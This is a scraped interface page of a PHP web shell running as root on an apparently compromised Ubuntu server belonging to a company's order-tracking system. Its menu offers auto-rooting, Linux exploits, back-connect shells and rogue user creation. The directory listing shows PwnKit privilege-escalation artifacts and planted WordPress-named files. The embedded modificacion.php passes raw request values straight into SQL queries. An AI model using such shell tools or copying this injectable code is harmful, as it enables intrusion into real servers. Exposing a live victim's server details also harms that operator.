Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
Indicadores /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxrwxrwx
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.htaccess
197
B
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
500.shtml
71
B
-rwxrwxrwx
Almacen.php
2.44
KB
-rwxrwxrwx
IndicadoresCumplimiento.php
10.78
KB
-rwxrwxrwx
Notificacion.php
812
B
-rwxrwxrwx
Pedidos Cerrados Cumplidos.php
2.36
KB
-rwxrwxrwx
PedidosCerradosCumplidos.php
3.21
KB
-rwxrwxrwx
PedidosCerradosCumplidosA.php
2.8
KB
-rwxrwxrwx
PedidosCerradosNoCumplidos.php
3.2
KB
-rwxrwxrwx
PedidosEnProceso.php
3.22
KB
-rwxrwxrwx
PedidosNuevos.php
3.35
KB
-rwxrwxrwx
PedidosRecibidosconRetrasos.ph...
2.77
KB
-rwxrwxrwx
PedidosVencidos.php
3.15
KB
-rwxrwxrwx
PedidosporllegardeProduccion.p...
2.58
KB
-rwxrwxrwx
Planeacion.php
4.35
KB
-rwxrwxrwx
Produccion.php
2.62
KB
-rwxrwxrwx
ResumenAlmacen.php
5.75
KB
-rwxrwxrwx
ResumenPedidos.php
14.49
KB
-rwxrwxrwx
ResumenProduccion.php
8.94
KB
-rwxrwxrwx
UnicuadroSeleccion.php
6.58
KB
-rwxrwxrwx
acceso.php
1.36
KB
-rwxrwxrwx
class.phpmailer.php
88.75
KB
-rwxrwxrwx
class.smtp.php
30.33
KB
-rwxrwxrwx
comprobar.php
1.51
KB
-rwxrwxrwx
conexion.php
396
B
-rwxrwxrwx
correo.php
537
B
-rwxrwxrwx
email2.php
810
B
-rwxrwxrwx
email3.php
1.99
KB
-rwxrwxrwx
enviar.php
3.35
KB
-rwxrwxrwx
enviar_Almacen.php
2.27
KB
-rwxrwxrwx
enviar_produccion.php
2.51
KB
-rwxrwxrwx
error_log
8.33
MB
-rwxrwxrwx
favicon.ico
43
B
-rwxrwxrwx
index.php
4.13
KB
-rwxrwxrwx
login.php
260
B
-rwxrwxrwx
logout.php
210
B
-rwxrwxrwx
mail.php
309
B
-rwxrwxrwx
modificacion.php
9.52
KB
-rwxrwxrwx
modificacion2.php
5.57
KB
-rwxrwxrwx
modificar_almacen.php
5.6
KB
-rwxrwxrwx
modificar_produccion.php
6.48
KB
-rwxrwxrwx
perfil.php
806
B
-rwxrwxrwx
permisos.php
1021
B
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
registro.php
3.97
KB
-rwxrwxrwx
sugerencias_send.php
4.85
KB
-rwxrwxrwx
test.php
120
B
-rwxrwxrwx
tiempo.php
385
B
-rwxrwxrwx
unicuadro.php
3.96
KB
-rwxrwxrwx
unicuadromodificacion.php
3.56
KB
-rwxrwxrwx
usuarios.php
611
B
-rwxrwxrwx
validar_usuario.php
1.92
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modificacion.php
<?php session_start(); require ("conexion.php"); include ("class.phpmailer.php"); include ("correo.php"); //$sql = mysqli_query($enlace,"SELECT usuario_nombre FROM usuarios");//Este es el script SQL que necesitas para jalar el ultimo registro $today = date("Y-m-d"); $ipvisitante = $_SERVER["REMOTE_ADDR"]; $usuariom = $_SESSION['usuario_nombre']; $usuarioc = $_SESSION['usuario_email']; $Perfil=$_SESSION['Perfil']; if (isset($_SESSION['usuario_nombre'])) { if ($Perfil==1 or $Perfil==2){ $pedido=$_GET['Pedido']; $OK = true; if (isset($_GET['Pedido'])) { $result = mysqli_query($enlace, "SELECT * FROM planeacion WHERE Pedido = '$pedido'"); ($row = mysqli_fetch_array($result)); if (empty($row)) { $result = "No se encontraron resultados !!"; } ?> <?php } if (array_key_exists('update', $_POST)) { $Fecha_PD = $_POST['Fecha_PD']; $EDS_EMPRESA = $_POST['EDS_EMPRESA']; $Petrolera = $_POST['Petrolera']; $Tipo_Trabajo = $_POST['Tipo_Trabajo']; $Cliente = $_POST['Cliente']; $Proveedor = $_POST['Proveedor']; $Fecha_EC = $_POST['Fecha_EC']; $Solicitado = $_POST['Solicitado']; $Responsable = $_POST['Responsable']; $CorreoComercial = $_POST ['CorreoComercial']; $Observaciones = $_POST['Observaciones']; if ($Responsable == 'Remanufactura' or $Responsable == 'Pintura') { $OK = (array($_POST['Fecha_PD'],$_POST['EDS_EMPRESA'], $_POST['Petrolera'],$_POST['Tipo_Trabajo'],$_POST['Cliente'],$_POST['Proveedor'], $_POST['Fecha_EC'],$_POST['Solicitado'],$_POST['Responsable'], $_POST['CorreoComercial'],$_POST['Observaciones'],$_GET['Pedido'])); if (!$OK) { echo $error[2]; } else { $meter = mysqli_query($enlace,"UPDATE planeacion SET Fecha_PD = '$Fecha_PD', Petrolera = '$Petrolera', EDS_EMPRESA = '$EDS_EMPRESA', Petrolera = '$Petrolera', Tipo_Trabajo = '$Tipo_Trabajo', Cliente = '$Cliente', Proveedor = '$Proveedor', Fecha_EC = '$Fecha_EC', Solicitado = '$Solicitado', Responsable = '$Responsable', CorreoComercial='$CorreoComercial',Observaciones = '$Observaciones', IP='$ipvisitante', usuariom = '$usuariom' WHERE Pedido = '$pedido'"); if($meter) { header("refresh: 10; URL=http://indicadores.insepet.com/ResumenPedidos.php"); echo 'El pedido '.$pedido.' se actualizo correctamente.'; $Nombre = mysqli_query($enlace,"SELECT * FROM usuarios u inner join perfil p on p.perfil_id=u.Perfil where p.TipoPerfil='$Responsable'"); while($row = mysqli_fetch_assoc($Nombre)){ $mail->From = "planeacion@insepet.com"; $mail->FromName = "Planeacion Produccion Insepet"; $mail->Subject = "Actualizacion del Pedido Numero $pedido"; $mail->AltBody = "Correo Planeacion"; $mail->MsgHTML("<b>Se ha modificado el pedido Numero $pedido</b>. <BR> El Tipo de Trabajo se describe a continuacion: $Tipo_Trabajo. <BR>La Bandera es: $Petrolera. <BR>El Cliente es: $Cliente.<BR> <BR>Es importante tener en cuenta las siguientes observaciones para llevar el pedido segun lo solicitado por el cliente: <BR><b>$Observaciones.</b> <BR>Recuerde que la fecha de compromizo de entrega con el cliente es: $Fecha_EC. <BR> <BR>Att: $Solicitado. <BR>Sistema de Planificacion de Pedidos Insepet Ltda"); //$mail->AddAttachment("files/files.zip"; //$mail->AddAttachment("files/img03.jpg"; $mail->AddAddress($row["usuario_email"], $row["NombreCompleto"]); $mail->AddCC($usuarioc); $mail->AddCC($CorreoComercial); $mail->AddAttachment($archivo,$archivo_name); $mail->IsHTML(true); if(!$mail->Send()) { echo "Error: " . $mail->ErrorInfo; } else { echo "Mensaje enviado correctamente"; } } } else { header("refresh: 5; URL=http://indicadores.insepet.com/modificacion.php?Pedido=".$_GET['Pedido']); echo 'El Registro no se puede Cargar en la Base de Datos.'; } exit; } }else { header("refresh: 5; URL=http://indicadores.insepet.com/modificacion.php?Pedido=".$_GET['Pedido']); echo 'El registro no puede ser diferente de Remanufactura o Pintura.'; } } ?> <!DOCTYPE html> <html lang="en"> <head> </head> <?php if(!$OK) : echo ""; else : ?> <fieldset style="width:480px" > <legend>Editar Pedido</legend> <form action="" method="post"> <table> <tr> <td><label for="id">Pedido:</label></td> <td><input type="text" name="Pedido" id="Pedido"/ disabled="disabled" value="<?php echo $row['Pedido'];?>"></td> </tr> <tr> <td><label for="Fecha_PD">Fecha Pedido:</label></td> <td><input type="date" name="Fecha_PD" id="Fecha_PD"/ value="<?php echo $row['Fecha_PD'];?>"></td> </tr> <tr> <td><label for="EDS_EMPRESA">EDS_EMPRESA:</label></td> <td><input type="text" name="EDS_EMPRESA" id="EDS_EMPRESA" value="<?php echo $row['EDS_EMPRESA'];?>"/></td> </tr> <tr> <td><label for="Petrolera">Petrolera:</label></td> <td><input type="text" name="Petrolera" id="Petrolera" value="<?php echo $row['Petrolera'];?>"/></td> </tr> <tr> <td><label for="Tipo_Trabajo">Tipo_Trabajo:</label></td> <td><input type="text" name="Tipo_Trabajo" id="Tipo_Trabajo" value="<?php echo $row['Tipo_Trabajo'];?>"/></td> </tr> <tr> <td><label for="Cliente">Cliente:</label></td> <td><input type="text" name="Cliente" id="Cliente" value="<?php echo $row['Cliente'];?>"/></td> </tr> <tr> <td><label for="Proveedor">Proveedor:</label></td> <td><input type="text" name="Proveedor" id="Proveedor" value="<?php echo $row['Proveedor'];?>"/></td> </tr> <tr> <td><label for="Fecha_EC">Fecha Entrega Cliente:</label></td> <td><input type="date" name="Fecha_EC" id="Fecha_EC" value="<?php echo $row['Fecha_EC'];?>"/></td> </tr> <tr> <td><label for="Solicitado">Solicitado:</label></td> <td><input type="text" name="Solicitado" id="Solicitado" value="<?php echo $row['Solicitado'];?>"/></td> </tr> <tr> <td><label for="Responsable">Responsable:</label></td> <td><input type="text" name="Responsable" id="Responsable" value="<?php echo $row['Responsable'];?>"/></td> </tr> <tr> <td><label for="CorreoComercial">Comercial a cargo:</label></td> <td><input type="email" name="CorreoComercial" id="CorreoComercial" value="<?php echo $row['CorreoComercial'];?>"/></td> </tr> <tr> <td><label for="Observaciones">Observaciones:</label></td> <td><input type="text" name="Observaciones" id="Observaciones" value="<?php echo $row['Observaciones'];?>"/></td> </tr> <tr> <td><label for="archivo">Adjuntar archivo: </label></td> <td><input id="archivo" name="archivo" type="file"></td> </tr> <tr> <td><input type="submit" name="update" value="Actualizar"/></td> <td><input type="submit" name="delete" value="Eliminar" disabled="disabled"/></td> </tr> </table> </form> </fieldset> <p><a href="unicuadromodificacion.php"><< Regresar</a></p> <?php endif;?> <body> </html> <?php $FECHAOLD=$_SESSION['UltimoIngreso']; $HORA=date('Y-n-j H:i:s'); $tiempo=(strtotime($HORA) - strtotime($FECHAOLD)); if($tiempo>=600){ session_destroy(); echo '<script language=javascript> alert ("su session a sido caducada por su seguridad, por favor ingrese nuevamente.") self.location="index.php"</script>'; }else{ $_SESSION['UltimoIngreso']=$HORA; } }else{ echo 'El usuario no tiene los permisos suficientes para acceder a la web'; mysqli_close($enlace); //Cerramos la conexion a la db } } else{ echo 'El usuario no tiene acceso a esta pagina web comuniquese con el administrador del sistema'; mysqli_close($enlace); //Cerramos la conexion a la db } ?>
Close